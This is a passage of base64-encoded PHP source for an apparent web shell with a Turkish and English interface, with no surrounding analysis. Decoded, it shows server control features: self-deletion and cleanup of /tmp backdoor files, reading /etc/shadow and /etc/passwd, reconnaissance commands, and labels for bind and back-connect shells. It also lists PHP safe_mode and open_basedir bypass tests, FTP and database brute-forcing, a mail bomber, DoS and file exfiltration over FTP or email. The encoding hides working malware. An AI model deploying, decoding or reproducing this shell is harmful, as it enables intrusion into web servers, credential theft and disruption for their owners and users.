nI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iO2RpZSgpOw0KfQ0KaWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSkNCnsNCkB1bmxpbmsoX19GSUxFX18pOw0KfQ0KaWYoaXNzZXQoJF9HRVRbJ3RtcCddKSkNCnsNCkB1bmxpbmsoIi90bXAvYmRwbCIpOw0KQHVubGluaygiL3RtcC9iYWNrIik7DQpAdW5saW5rKCIvdG1wL2JkIik7DQpAdW5saW5rKCIvdG1wL2JkLmMiKTsNCkB1bmxpbmsoIi90bXAvZHAiKTsNCkB1bmxpbmsoIi90bXAvZHBjIik7DQpAdW5saW5rKCIvdG1wL2RwYy5jIik7DQpAdW5saW5rKCIvdG1wL3ByeHBsIik7DQpAdW5saW5rKCIvdG1wL2dyZXAudHh0Iik7DQp9DQppZihpc3NldCgkX0dFVFsncGhwaW5pJ10pKQ0Kew0KZWNobyAkaGVhZDsNCmZ1bmN0aW9uIFVfdmFsdWUoJHZhbHVlKQ0Kew0KaWYgKCR2YWx1ZSA9PSAnJykgcmV0dXJuICc8aT5ubyB2YWx1ZTwvaT4nOw0KaWYgKEBpc19ib29sKCR2YWx1ZSkpIHJldHVybiAkdmFsdWUgPydUUlVFJzogJ0ZBTFNFJzsNCmlmICgkdmFsdWUgPT09IG51bGwpIHJldHVybiAnTlVMTCc7DQppZiAoQGlzX29iamVjdCgkdmFsdWUpKSAkdmFsdWUgPSAoYXJyYXkpICR2YWx1ZTsNCmlmIChAaXNfYXJyYXkoJHZhbHVlKSkNCnsNCkBvYl9zdGFydCgpOw0KcHJpbnRfcigkdmFsdWUpOw0KJHZhbHVlID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KcmV0dXJuIFVfd29yZHdyYXAoKHN0cmluZykgJHZhbHVlKTsNCn0NCmZ1bmN0aW9uIFVfd29yZHdyYXAoJHN0cikNCnsNCiRzdHIgPSBAd29yZHdyYXAoQGh0bWxzcGVjaWFsY2hhcnMoJHN0ciksMTAwLCc8d2JyIC8+Jyx0cnVlKTsNCnJldHVybiBAcHJlZ19yZXBsYWNlKCchKCZbXjtdKik8d2JyIC8+KFteO10qOykhJywnJDEkMjx3YnIgLz4nLCRzdHIpOw0KfQ0KaWYgKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXRfYWxsJykpDQp7DQokciA9ICcnOw0KZWNobyAnPHRhYmxlIHdpZHRoPTEwMCU+JywnPHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxkaXYgYWxpZ249Y2VudGVyPjxiPkRpcmVjdGl2ZTwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48ZGl2IGFsaWduPWNlbnRlcj48Yj5Mb2NhbCBWYWx1ZTwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48ZGl2IGFsaWduPWNlbnRlcj48Yj5NYXN0ZXIgVmFsdWU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4nOw0KZm9yZWFjaCAoQGluaV9nZXRfYWxsKCkgYXMgJGtleT0+JHZhbHVlKQ0Kew0KJHIgLj0gJzx0cj48dGQ+Jy53cygzKS4nPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jy4ka2V5Lic8L2I+PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicuVV92YWx1ZSgkdmFsdWVbJ2xvY2FsX3ZhbHVlJ10pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicuVV92YWx1ZSgkdmFsdWVbJ2dsb2JhbF92YWx1ZSddKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsNCn0NCmVjaG8gJHI7DQplY2hvICc8L3RhYmxlPic7DQp9DQplY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOw0KZGllKCk7DQp9DQppZihpc3NldCgkX0dFVFsnY3B1J10pKQ0Kew0KZWNobyAkaGVhZDsNCmVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5DUFU8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSB3aWR0aD0xMDAlPic7DQokY3B1ZiA9IEBmaWxlKCJjcHVpbmZvIik7DQppZigkY3B1ZikNCnsNCiRjID0gQHNpemVvZigkY3B1Zik7DQpmb3IoJGk9MDskaTwkYzskaSsrKQ0Kew0KJGluZm8gPSBAZXhwbG9kZSgiOiIsJGNwdWZbJGldKTsNCmlmKCRpbmZvWzFdPT0iIil7JGluZm9bMV09Ii0tLSI7fQ0KJHIgLj0gJzx0cj48dGQ+Jy53cygzKS4nPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jy50cmltKCRpbmZvWzBdKS4nPC9iPjwvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nLnRyaW0oJGluZm9bMV0pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4nOw0KfQ0KZWNobyAkcjsNCn0NCmVsc2UNCnsNCmVjaG8gJzx0cj48dGQ+Jy53cygzKS4nPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+IC0tLSA8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj4nOw0KfQ0KZWNobyAnPC90YWJsZT4nOw0KZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsNCmRpZSgpOw0KfQ0KaWYoaXNzZXQoJF9HRVRbJ21lbSddKSkNCnsNCmVjaG8gJGhlYWQ7DQplY2hvICc8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkIGJnY29sb3I9IzMzMzMzMz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+TUVNT1JZPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT48dGFibGUgd2lkdGg9MTAwJT4nOw0KJG1lbWYgPSBAZmlsZSgibWVtaW5mbyIpOw0KaWYoJG1lbWYpDQp7DQokYyA9IHNpemVvZigkbWVtZik7DQpmb3IoJGk9MDskaTwkYzskaSsrKQ0Kew0KJGluZm8gPSBleHBsb2RlKCI6IiwkbWVtZlskaV0pOw0KaWYoJGluZm9bMV09PSIiKXskaW5mb1sxXT0iLS0tIjt9DQokciAuPSAnPHRyPjx0ZD4nLndzKDMpLic8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4nLnRyaW0oJGluZm9bMF0pLic8L2I+PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicudHJpbSgkaW5mb1sxXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7DQp9DQplY2hvICRyOw0KfQ0KZWxzZQ0Kew0KZWNobyAnPHRyPjx0ZD4nLndzKDMpLic8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4gLS0tIDwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPic7DQp9DQplY2hvICc8L3RhYmxlPic7DQplY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5ncmVlbjwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsNCmRpZSgpOw0KfQ0KaWYoaXNzZXQoJF9HRVRbJ2RtZXNnKDgpJ10pKQ0KeyRfUE9TVFsnY21kJ10gPSAnZG1lc2coOCknO30NCmlmKGlzc2V0KCRfR0VUWydmcmVlJ10pKQ0KeyRfUE9TVFsnY21kJ10gPSAnZnJlZSc7fQ0KaWYoaXNzZXQoJF9HRVRbJ3Ztc3RhdCddKSkNCnskX1BPU1RbJ2NtZCddID0gJ3Ztc3RhdCc7fQ0KaWYoaXNzZXQoJF9HRVRbJ2xzcGNpJ10pKQ0KeyRfUE9TVFsnY21kJ10gPSAnbHNwY2knO30NCmlmKGlzc2V0KCRfR0VUWydsc2RldiddKSkNCnskX1BPU1RbJ2NtZCddID0gJ2xzZGV2Jzt9DQppZihpc3NldCgkX0dFVFsncHJvY2luZm8nXSkpDQp7JF9QT1NUWydjbWQnXT0nY2F0IC9wcm9jL2NwdWluZm8nO30NCmlmKGlzc2V0KCRfR0VUWyd2ZXJzaW9uJ10pKQ0KeyRfUE9TVFsnY21kJ109J2NhdCAvcHJvYy92ZXJzaW9uJzt9DQppZihpc3NldCgkX0dFVFsnaW50ZXJydXB0cyddKSkNCnskX1BPU1RbJ2NtZCddPSdjYXQgL3Byb2MvaW50ZXJydXB0cyc7fQ0KaWYoaXNzZXQoJF9HRVRbJ3JlYWxpc2UxJ10pKQ0KeyRfUE9TVFsnY21kJ10gPSAnY2F0IC9ldGMvKnJlYWxpc2UnO30NCmlmKGlzc2V0KCRfR0VUWydzZXJ2aWNlJ10pKQ0KeyRfUE9TVFsnY21kJ10gPSAnc2VydmljZSAtLXN0YXR1cy1hbGwnO30NCmlmKGlzc2V0KCRfR0VUWydpZmNvbmZpZyddKSkNCnskX1BPU1RbJ2NtZCddID0gJ2lmY29uZmlnJzt9DQppZihpc3NldCgkX0dFVFsndyddKSkNCnskX1BPU1RbJ2NtZCddID0gJ3cnO30NCmlmKGlzc2V0KCRfR0VUWyd3aG8nXSkpDQp7JF9QT1NUWydjbWQnXSA9ICd3aG8nO30NCmlmKGlzc2V0KCRfR0VUWyd1cHRpbWUnXSkpDQp7JF9QT1NUWydjbWQnXSA9ICd1cHRpbWUnO30NCmlmKGlzc2V0KCRfR0VUWydsYXN0J10pKQ0KeyRfUE9TVFsnY21kJ10gPSAnbGFzdCAtbiAxMCc7fQ0KaWYoaXNzZXQoJF9HRVRbJ3BzYXV4J10pKQ0KeyRfUE9TVFsnY21kJ10gPSAncHMgLWF1eCc7fQ0KaWYoaXNzZXQoJF9HRVRbJ25ldHN0YXQnXSkpDQp7JF9QT1NUWydjbWQnXSA9ICduZXRzdGF0IC1hJzt9DQppZihpc3NldCgkX0dFVFsnbHNhdHRyJ10pKQ0KeyRfUE9TVFsnY21kJ10gPSAnbHNhdHRyIC12YSc7fQ0KaWYoaXNzZXQoJF9HRVRbJ3N5c2xvZyddKSkNCnskX1BPU1RbJ2NtZCddPSdlZGl0X2ZpbGUnOyRfUE9TVFsnZV9uYW1lJ10gPSAnL2V0Yy9zeXNsb2cuY29uZic7fQ0KaWYoaXNzZXQoJF9HRVRbJ2ZzdGFiJ10pKQ0KeyRfUE9TVFsnY21kJ109J2VkaXRfZmlsZSc7JF9QT1NUWydlX25hbWUnXSA9ICcvZXRjL2ZzdGFiJzt9DQppZihpc3NldCgkX0dFVFsnZmRpc2snXSkpDQp7JF9QT1NUWydjbWQnXSA9ICdmZGlzayAtbCc7fQ0KaWYoaXNzZXQoJF9HRVRbJ2RmJ10pKQ0KeyRfUE9TVFsnY21kJ10gPSAnZGYgLWgnO30NCmlmKGlzc2V0KCRfR0VUWydyZWFsaXNlMiddKSkNCnskX1BPU1RbJ2NtZCddPSdlZGl0X2ZpbGUnOyRfUE9TVFsnZV9uYW1lJ10gPSAnL2V0Yy9pc3N1ZS5uZXQnO30NCmlmKGlzc2V0KCRfR0VUWydob3N0cyddKSkNCnskX1BPU1RbJ2NtZCddPSdlZGl0X2ZpbGUnOyRfUE9TVFsnZV9uYW1lJ10gPSAnL2V0Yy9ob3N0cyc7fQ0KaWYoaXNzZXQoJF9HRVRbJ3Jlc29sdiddKSkNCnskX1BPU1RbJ2NtZCddPSdlZGl0X2ZpbGUnOyRfUE9TVFsnZV9uYW1lJ10gPSAnL2V0Yy9yZXNvbHYuY29uZic7fQ0KaWYoaXNzZXQoJF9HRVRbJ3N5c3RlbWluZm8nXSkpDQp7JF9QT1NUWydjbWQnXSA9ICdzeXN0ZW1pbmZvJzt9DQppZihpc3NldCgkX0dFVFsnc2hhZG93J10pKQ0KeyRfUE9TVFsnY21kJ109J2VkaXRfZmlsZSc7JF9QT1NUWydlX25hbWUnXSA9ICcvZXRjL3NoYWRvdyc7fQ0KaWYoaXNzZXQoJF9HRVRbJ3Bhc3N3ZCddKSkNCnskX1BPU1RbJ2NtZCddPSdlZGl0X2ZpbGUnOyRfUE9TVFsnZV9uYW1lJ10gPSAnL2V0Yy9wYXNzd2QnO30NCiRsYW5nPWFycmF5KA0KJ3RyX3RleHQxJz0+J0tvbXV0IFV5Z3VsYScsDQondHJfdGV4dDInPT4nU2VydmVyIHV6ZXJpbmRlIGtvbXV0IGNhbGlzdGlyICcsDQondHJfdGV4dDMnPT4nS29tdXQgaXN0ZW1pICcsDQondHJfdGV4dDQnPT4nQ2FsaXNtYSBEaXppbmkgJywNCid0cl90ZXh0NSc9PidTZXJ2ZXJlIERvc3lhIFVwbG9hZCBFdCcsDQondHJfdGV4dDYnPT4nWWVyZWwgRG9zeWEgJywNCid0cl90ZXh0Nyc9PidEaXppbiBWZXlhIERvc3lhIEJ1bCAnLA0KJ3RyX3RleHQ4Jz0+J1NlYycsDQondHJfYnV0dDEnPT4nVXlndWxhJywNCid0cl9idXR0Mic9PidZdWtsZScsDQondHJfdGV4dDknPT4nUG9ydGEgYmFnbGFuIC9iaW4vYmFzaCcsDQondHJfdGV4dDEwJz0+J1BvcnQnLA0KJ3RyX3RleHQxMSc9PidTaWZyZSBHaXJpcycsDQondHJfYnV0dDMnPT4nQmFnbGFuJywNCid0cl90ZXh0MTInPT4nQmFjay1Db25uZWN0JywNCid0cl90ZXh0MTMnPT4nSVAnLA0KJ3RyX3RleHQxNCc9PidQb3J0JywNCid0cl9idXR0NCc9PidCYWdsYW4nLA0KJ3RyX3RleHQxNSc9PidVemFrdGFuIHNlcnZlcmUgZG9zeWEgeXVrbGUnLA0KJ3RyX3RleHQxNic9PidpbGUnLA0KJ3RyX3RleHQxNyc9PidVemFrIERvc3lhJywNCid0cl90ZXh0MTgnPT4nWWVyZWwgRG9zeWEnLA0KJ3RyX3RleHQxOSc9PidFeHBsb2l0cycsDQondHJfdGV4dDIwJz0+J0t1bGxhbicsDQondHJfdGV4dDIxJz0+JyZuYnNwO1llbmkgYWQnLA0KJ3RyX3RleHQyMic9PidkYXRhcGlwZScsDQondHJfdGV4dDIzJz0+J1llcmVsIFBvcnQnLA0KJ3RyX3RleHQyNCc9PidVemFrIEhvc3QnLA0KJ3RyX3RleHQyNSc9PidVemFrIFBvcnQnLA0KJ3RyX3RleHQyNic9PidLdWxsYW4nLA0KJ3RyX2J1dHQ1Jz0+J0lzdGUnLA0KJ3RyX3RleHQyOCc9PidHdXZlbmxpayBNb2R1bmRhIENhbGlzJywNCid0cl90ZXh0MjknPT4nR2lyaXMgWW9rICcsDQondHJfYnV0dDYnPT4nRGVnaXN0aXInLA0KJ3RyX3RleHQzMCc9PidDYXQgZmlsZScsDQondHJfYnV0dDcnPT4nR29zdGVyJywNCid0cl90ZXh0MzEnPT4nRG9zeWEgQnVsdW5hbWFkaScsDQondHJfdGV4dDMyJz0+J1BIUCBLb2QgRGVnZXJsZW5kaXIgJywNCid0cl90ZXh0MzMnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyIHdpdGggY1VSTCBmdW5jdGlvbnMoUEhQIDw9IDQuNC4yLCA1LjEuNCknLA0KJ3RyX2J1dHQ4Jz0+J1Rlc3RldCcsDQondHJfdGV4dDM0Jz0+J0luY2x1ZGVzIGZvbmtzaXlvbnUgaWxlIEd1dmVubGlrIG1vZHVudSBhdGxhbWF5aSB0ZXN0IGV0LicsDQondHJfdGV4dDM1Jz0+J015c3FsIGRhIGtpIHl1a2xlbWUgZG9zeWFzaSBpbGUgR3V2ZW5saWsgbW9kdW51IGF0bGFtYXlpIHRlc3QgZXQuJywNCid0cl90ZXh0MzYnPT4nRGF0YWJhc2VbVmVyaVRhYmFuaV0nLA0KJ3RyX3RleHQzNyc9PidLdWxsYW5pY2knLA0KJ3RyX3RleHQzOCc9PidTaWZyZScsDQondHJfdGV4dDM5Jz0+J1RhYmxvJywNCid0cl90ZXh0NDAnPT4nRHVtcCBkYXRhYmFzZSB0YWJsZVtEQiBUYWJsb3N1IGRva10nLA0KJ3RyX2J1dHQ5Jz0+J0R1bXAnLA0KJ3RyX3RleHQ0MSc9PidEQiBkb3N5YWxhcmluaSBrYXlkZXQuW0R1bXAgZmlsZWRdJywNCid0cl90ZXh0NDInPT4nRG9zeWEgRHV6ZW5sZSAnLA0KJ3RyX3RleHQ0Myc9PidEb3N5YSBEdXplbmxlbWVrIGljaW4nLA0KJ3RyX2J1dHQxMCc9PidLYXlkZXQnLA0KJ3RyX3RleHQ0NCc9PidEb3N5YSBkZWdpc3RpcmlsbWl5b3IgISBZQVNBSyAhIEd1dmVubGlrIE1vZHUgaXppbiBWZXJtaXlvcicsDQondHJfdGV4dDQ1Jz0+J0Rvc3lhIEtheWRlZGlsZGknLA0KJ3RyX3RleHQ0Nic9PidQSFAgaW5mbyBHb3N0ZXIoKScsDQondHJfdGV4dDQ3Jz0+J1BocC5pbmkgZG9zeWFzaW5kYSBraSBkZWdpc2tlbmxlcmkgZ29zdGVyJywNCid0cl90ZXh0NDgnPT4nVGVtcCBkb3N5bGFyaW5pIHNpbCcsDQondHJfYnV0dDExJz0+J0Rvc3lhIER1emVubGUnLA0KJ3RyX3RleHQ0OSc9PidTZXJ2ZXIgZGFuIGJ1IHNjcmlwdGkgc2lsJywNCid0cl90ZXh0NTAnPT4nQ1BVIGJpbGdpc2luaSBpbmNlbGUnLA0KJ3RyX3RleHQ1MSc9PidNZW1vcnlbaGFmaXphXSBiaWxnaXNpbmkgaW5jZWxlXScsDQondHJfdGV4dDUyJz0+J01ldG5pIEJ1bCAnLA0KJ3RyX3RleHQ1Myc9PidLbGFzb3IgQnVsJywNCid0cl90ZXh0NTQnPT4nRG9zeWFsYXJkYSBraSBNZXRuaSBCdWwnLA0KJ3RyX2J1dHQxMic9PidCdWwnLA0KJ3RyX3RleHQ1NSc9PidEb3N5YSBCdWwgJywNCid0cl90ZXh0NTYnPT4nQnVsdW5tYWRpIDooIEtleUNvZGVyIDopJywNCid0cl90ZXh0NTcnPT4nT2x1c3R1ci9TaWwgRG9zeWEvRGl6aW4gJywNCid0cl90ZXh0NTgnPT4naXNpbScsDQondHJfdGV4dDU5Jz0+J0Rvc3lhJywNCid0cl90ZXh0NjAnPT4nRGl6aW4nLA0KJ3RyX2J1dHQxMyc9PidPbHVzdHVyL1NpbCcsDQondHJfdGV4dDYxJz0+J0Rvc3lhIE9sdXN0dXInLA0KJ3RyX3RleHQ2Mic9PidEaXppbiBPbHVzdHVyJywNCid0cl90ZXh0NjMnPT4nRG9zeWEgU2lsJywNCid0cl90ZXh0NjQnPT4nRGl6aW4gU2lsJywNCid0cl90ZXh0NjUnPT4nT2x1c3R1cicsDQondHJfdGV4dDY2Jz0+J1NpbCcsDQondHJfdGV4dDY3Jz0+J0Nob3duL0NoZ3JwL0NobW9kJywNCid0cl90ZXh0NjgnPT4nVXlndWxhJywNCid0cl90ZXh0NjknPT4ncGFyYW0xJywNCid0cl90ZXh0NzAnPT4ncGFyYW0yJywNCid0cl90ZXh0NzEnPT4iU2Vjb25kIGNvbW1hbmRzIHBhcmFtIGlzOlxyXG4tIGZvciBDSE9XTiAtIG5hbWUgb2YgbmV3IG93bmVyIG9yIFVJRFxyXG4tIGZvciBDSEdSUCAtIGdyb3VwIG5hbWUgb3IgR0lEXHJcbi0gZm9yIENITU9EIC0gMDc3NywgMDc1NS4uLiIsDQondHJfdGV4dDcyJz0+J01ldGluIEJ1bCcsDQondHJfdGV4dDczJz0+J0tsYXNvciBCdWwnLA0KJ3RyX3RleHQ3NCc9PidEb3N5YSBCdWwnLA0KJ3RyX3RleHQ3NSc9PicqIHlvdSBjYW4gdXNlIHJlZ2V4cCcsDQondHJfdGV4dDc2Jz0+J01ldGluIEFyYSBEb3N5YWxhcmluIGljaW5kZSBBcmFtYSBZb2x1eWxhJywNCid0cl90ZXh0ODAnPT4nQ2VzaXQnLA0KJ3RyX3RleHQ4MSc9PidOZXQnLA0KJ3RyX3RleHQ4Mic9PidEYXRhYmFzZXMnLA0KJ3RyX3RleHQ4Myc9PidTUUwgU29yZ3VzdSBZYXAnLA0KJ3RyX3RleHQ4NCc9PidTUUwgU29yZ3VzdScsDQondHJfdGV4dDg1Jz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB3aXRoIGNvbW1hbmRzIGV4ZWN1dGUgdmlhIE1TU1FMIHNlcnZlcicsDQondHJfdGV4dDg2Jz0+J0Rvd25sb2FkIGZpbGVzIGZyb20gc2VydmVyJywNCid0cl9idXR0MTQnPT4nRG93bmxvYWQnLA0KJ3RyX3RleHQ4Nyc9PidEb3dubG9hZCBmaWxlcyBmcm9tIHJlbW90ZSBmdHAtc2VydmVyJywNCid0cl90ZXh0ODgnPT4nc2VydmVyOnBvcnQnLA0KJ3RyX3RleHQ4OSc9PidGaWxlIG9uIGZ0cCcsDQondHJfdGV4dDkwJz0+J1RyYW5zZmVyIG1vZGUnLA0KJ3RyX3RleHQ5MSc9PidBcmNoaXZhdGlvbicsDQondHJfdGV4dDkyJz0+J3dpdGhvdXQgYXJjaC4nLA0KJ3RyX3RleHQ5Myc9PidGVFAnLA0KJ3RyX3RleHQ5NCc9PidGVFAtYnJ1dGVmb3JjZScsDQondHJfdGV4dDk1Jz0+J1VzZXJzIGxpc3QnLA0KJ3RyX3RleHQ5Nic9PidDYW5cJ3QgZ2V0IHVzZXJzIGxpc3QnLA0KJ3RyX3RleHQ5Nyc9PidjaGVja2VkOiAnLA0KJ3RyX3RleHQ5OCc9PidzdWNjZXNzOiAnLA0KJ3RyX3RleHQ5OSc9PicvZXRjL3Bhc3N3ZCcsDQondHJfdGV4dDEwMCc9PidTZW5kIGZpbGUgdG8gcmVtb3RlIGZ0cCBzZXJ2ZXInLA0KJ3RyX3RleHQxMDEnPT4nVXNlIHJldmVyc2UgKHVzZXIgLT4gcmVzdSknLA0KJ3RyX3RleHQxMDInPT4nTWFpbCcsDQondHJfdGV4dDEwMyc9PidTZW5kIGVtYWlsJywNCid0cl90ZXh0MTA0Jz0+J1NlbmQgZmlsZSB0byBlbWFpbCcsDQondHJfdGV4dDEwNSc9PidUbycsDQondHJfdGV4dDEwNic9PidGcm9tJywNCid0cl90ZXh0MTA3Jz0+J1N1YmonLA0KJ3RyX2J1dHQxNSc9PidTZW5kJywNCid0cl90ZXh0MTA4Jz0+J01haWwnLA0KJ3RyX3RleHQxMDknPT4nSGlkZScsDQondHJfdGV4dDExMCc9PidTaG93JywNCid0cl90ZXh0MTExJz0+J1NRTC1TZXJ2ZXIgOiBQb3J0JywNCid0cl90ZXh0MTEyJz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB3aXRoIGZ1bmN0aW9uIG1iX3NlbmRfbWFpbCAoUEhQIDw9IDQuMC00LjIuMiwgNS54KScsDQondHJfdGV4dDExMyc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIHZpZXcgZGlyIGxpc3QgdmlhIGltYXBfbGlzdCAoUEhQIDw9IDUuMS4yKScsDQondHJfdGV4dDExNCc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIHZpZXcgZmlsZSBjb250ZXN0IHZpYSBpbWFwX2JvZHkgKFBIUCA8PSA1LjEuMiknLA0KJ3RyX3RleHQxMTUnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlLCBjb3B5IGZpbGUgdmlhIGNvcHlbY29tcHJlc3MuemxpYjovL10gKFBIUCA8PSA0LjQuMiwgNS4xLjIpJywNCid0cl90ZXh0MTE2Jz0+J0NvcHkgZnJvbScsDQondHJfdGV4dDExNyc9Pid0bycsDQondHJfdGV4dDExOCc9PidGaWxlIGNvcGllZCcsDQondHJfdGV4dDExOSc9PidDYW50IGNvcHkgZmlsZScsDQondHJfdGV4dDEyMCc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUgdmlhIGluaV9yZXN0b3JlIChQSFAgPD0gNC40LjQsIDUuMS42KSBieSBOU1QnLA0KJ3RyX3RleHQxMjEnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCB2aWV3IGRpciBsaXN0IHZpYSBmb3BlbiAoUEhQIHY0LjQuMCBtZW1vcnkgbGVhaykgYnkgTlNUJywNCid0cl90ZXh0MTIyJz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgdmlldyBkaXIgbGlzdCB2aWEgZ2xvYiAoUEhQIDw9IDUuMi54KScsDQondHJfdGV4dDEyMyc9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIsIHJlYWQgKi5iemlwIGZpbGUgdmlhIFtjb21wcmVzcy5iemlwMjovL10gKFBIUCA8PSA1LjIuMSknLA0KJ3RyX3RleHQxMjQnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCBhZGQgZGF0YSB0byBmaWxlIHZpYSBlcnJvcl9sb2dbcGhwOi8vXSAoUEhQIDw9IDUuMS40LCA0LjQuMiknLA0KJ3RyX3RleHQxMjUnPT4nRGF0YScsDQondHJfdGV4dDEyNic9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIsIGNyZWF0ZSBmaWxlIHZpYSBzZXNzaW9uX3NhdmVfcGF0aFtOVUxMLWJ5dGVdIChQSFAgPD0gNS4yLjApJywNCid0cl90ZXh0MTI3Jz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgYWRkIGRhdGEgdG8gZmlsZSB2aWEgcmVhZGZpbGVbcGhwOi8vXSAoUEhQIDw9IDUuMi4xLCA0LjQuNCknLA0KJ3RyX3RleHQxMjgnPT4nTW9kaWZ5L0FjY2VzcyBkYXRlKHRvdWNoKScsDQondHJfdGV4dDEyOSc9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIsIGNyZWF0ZSBmaWxlIHZpYSBmb3BlbltzcnBhdGg6Ly9dIChQSFAgdjUuMi4wKScsDQondHJfdGV4dDEzMCc9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIsIHJlYWQgKi56aXAgZmlsZSB2aWEgW3ppcDovL10gKFBIUCA8PSA1LjIuMSknLA0KJ3RyX3RleHQxMzEnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCB2aWV3IGZpbGUgY29udGVzdCB2aWEgc3ltbGluaygpIChQSFAgPD0gNS4yLjEpJywNCid0cl90ZXh0MTMyJz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgdmlldyBkaXIgbGlzdCB2aWEgc3ltbGluaygpIChQSFAgPD0gNS4yLjEpJywNCid0cl90ZXh0MTMzJz0+JycsDQondHJfdGV4dDEzNCc9PidEYXRhYmFzZS1icnV0ZWZvcmNlJywNCid0cl90ZXh0MTM1Jz0+J0RpY3Rpb25hcnknLA0KJ3RyX3RleHQxMzYnPT4nQ3JlYXRpbmcgZXZpbCBzeW1saW5rJywNCid0cl90ZXh0MTM3Jz0+J1VzZWZ1bCcsDQondHJfdGV4dDEzOCc9PidEYW5nZXJvdXMnLA0KJ3RyX3RleHQxMzknPT4nTWFpbCBCb21iZXInLA0KJ3RyX3RleHQxNDAnPT4nRG9TJywNCid0cl90ZXh0MTQxJz0+J0RhbmdlciEgV2ViLWRhZW1vbiBjcmFzaCBwb3NzaWJsZS4nLA0KJ3RyX2VycjAnPT4nRXJyb3IhIENhblwndCB3cml0ZSBpbiBmaWxlICcsDQondHJfZXJyMSc9PidFcnJvciEgQ2FuXCd0IHJlYWQgZmlsZSAnLA0KJ3RyX2VycjInPT4nRXJyb3IhIENhblwndCBjcmVhdGUgJywNCid0cl9lcnIzJz0+J0Vycm9yISBDYW5cJ3QgY29ubmVjdCB0byBmdHAnLA0KJ3RyX2VycjQnPT4nRXJyb3IhIENhblwndCBsb